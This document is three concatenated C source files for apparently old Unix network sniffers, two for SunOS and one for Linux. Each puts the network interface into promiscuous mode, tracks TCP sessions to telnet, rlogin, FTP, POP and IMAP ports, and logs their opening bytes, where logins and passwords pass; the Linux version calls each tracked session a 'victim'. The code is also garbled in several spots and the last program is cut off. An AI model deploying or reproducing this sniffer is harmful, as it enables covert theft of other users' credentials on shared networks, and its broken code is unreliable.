#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096
/* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP
((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH
(sizeof(struct ether_header))
#define IPLEN
(ntohs(ip->ip_len))
#define IPHLEN
(ip->ip_hl)
#define TCPOFF
(tcph->th_off)
#define IPS
(ip->ip_src)
#define IPD
(ip->ip_dst)
#define TCPS
(tcph->th_sport)
#define TCPD
(tcph->th_dport)
#define IPeq(s,t) ((s).s_addr
== (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time;
/* start time */
struct in_addr SRCip,
DSTip;
u_int
SRCport, /*
src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2];
/* important stuff :-) */
u_int
Length;
/* current data length */
u_int
PKcnt;
/* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char
*)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip))
);
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs &
THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER:
p="rlogin"; break;
case IPPORT_TELNET:
p="telnet"; break;
case IPPORT_SMTP:
p="smtp"; break;
default: sprintf(buf,"%u",port);
p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n"
*/
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN)
{ \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr;
\
CLtmp->DSTip.s_addr = DIP.s_addr;
\
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN);
\
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data,
CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP)
&& (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN);
\
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) {
\
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32)
{ \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG
-- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>",
Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts,
%d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char
*p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct
CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT);
tm-=IDLE_TIMEOUT; \
while(CLe=CLt) {
\
CLt=CLe->Next;
\
if(CLe->Time
<tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip
*ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short
*)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP)
/* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment
:-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen
- SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk
non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD
== IPPORT_LOGINSERVER) ||
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN
- (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char
*)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST))
{
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN))
{
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended
at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls
and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched
from etherfind */
{
struct strioctl si;
struct ifreq
ifr;
struct timeval timeout;
u_int chunksize
= CHUNKSIZE;
u_long if_flags
= NI_PROMISC;
if((if_fd = open(NIT_DEV,
O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT,
(char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH,
"nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char
*)&timeout;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char
*)&chunksize;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device,
sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name)
- 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char
*)𝔦
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char
*)&if_flags;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH,
(char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd,
buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your proogie,generate
your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP?
",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int
s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) &&
(argv[ac][0] == '-')) {
register
char ch = argv[ac++][1];
switch(toupper(ch))
{
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical
device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to
%s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug)
{
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started
at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long
saddr;
unsigned long
daddr;
unsigned short
sport;
unsigned short
dport;
int
bytes_read;
char
active;
time_t
start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
#define CAPTLEN 512
#define TIMEOUT 30
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET,
htons(0x800));
if(fd < 0)
{
perror("cant
get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant
get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("cant set
promiscuous mode");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s,
(struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return
0;
if(victim.active != 0)
if(victim.bytes_read
> CAPTLEN)
{
printf("\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL)
> (victim.start_time + TIMEOUT))
{
printf("\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21)
p=1; /* ftp */
if(ntohs(tcp->dest)==23)
p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1;
/* pop3 */
if(ntohs(tcp->dest)==109) p=1;
/* pop2 */
if(ntohs(tcp->dest)==143) p=1;
/* imap2 */
if(ntohs(tcp->dest)==513) p=1;
/* rlogin */
if(ntohs(tcp->dest)==106) p=1;
/* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport)
return 0;
if(tcp->source != victim.sport)
return 0;
if(ip->saddr != victim.saddr)
return 0;
if(ip->daddr != victim.daddr)
return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
printf("\n-----
[RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
printf("\n-----
[FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
puts(" ");
printf("%s => ", hostlookup(ip->saddr));
printf("%s [%d]\n", hostlookup(ip->daddr),
ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i]
== 13) {puts(" ");t=0;}
if(isprint(data[i]))
{printf("%c", data[i]);t++;}
if(t > 75)
{t=0;puts(" ");}
}
}
main()
{
int s;
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned
long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned
long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active
!= 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;
i.s_addr=in;
he=gethostbyaddr((char *)&i,
sizeof(struct in_addr),AF_INET);
if(he == NULL) strcpy(blah,
inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/le0"
#define CHUNKSIZE 4096
/* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP
((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH
(sizeof(struct ether_header))
#define IPLEN
(ntohs(ip->ip_len))
#define IPHLEN
(ip->ip_hl)
#define TCPOFF
(tcph->th_off)
#define IPS
(ip->ip_src)
#define IPD
(ip->ip_dst)
#define TCPS
(tcph->th_sport)
#define TCPD
(tcph->th_dport)
#define IPeq(s,t) ((s).s_addr
== (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time;
/* start time */
struct in_addr SRCip,
DSTip;
u_int
SRCport, /*
src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2];
/* important stuff :-) */
u_int
Length;
/* current data length */
u_int
PKcnt;
/* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char
*)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip))
);
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs &
THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER:
p="rlogin"; break;
case IPPORT_TELNET:
p="telnet"; break;
case IPPORT_SMTP:
p="smtp"; break;
case IPPORT_FTP:
p="ftp"; break;
default: sprintf(buf,"%u",port);
p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n"
*/
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN)
{ \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr;
\
CLtmp->DSTip.s_addr = DIP.s_addr;
\
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN);
\
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data,
CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP)
&& (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN);
\
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) {
\
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32)
{ \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG
-- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>",
Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts,
%d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char
*p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct
CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT);
tm-=IDLE_TIMEOUT; \
while(CLe=CLt) {
\
CLt=CLe->Next;
\
if(CLe->Time
<tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip
*ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short
*)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP)
/* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment
:-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen
- SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk
non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD
== IPPORT_LOGINSERVER) ||
(TCPD
== IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN
- (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char
*)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST))
{
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN))
{
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended
at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls
and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched
from etherfind */
{
struct strioctl si;
struct ifreq
ifr;
struct timeval timeout;
u_int chunksize
= CHUNKSIZE;
u_long if_flags
= NI_PROMISC;
if((if_fd = open(NIT_DEV,
O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT,
(char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH,
"nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char
*)&timeout;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char
*)&chunksize;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device,
sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name)
- 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char
*)𝔦
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char
*)&if_flags;
if(ioctl(if_fd, I_STR,
(char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH,
(char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd,
buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Yo Authorize your proogie,generate
your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms"
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP?
",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int
s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) &&
(argv[ac][0] == '-')) {
register
char ch = argv[ac++][1];
switch(toupper(ch))
{
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical
device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to
%s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug)
{
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
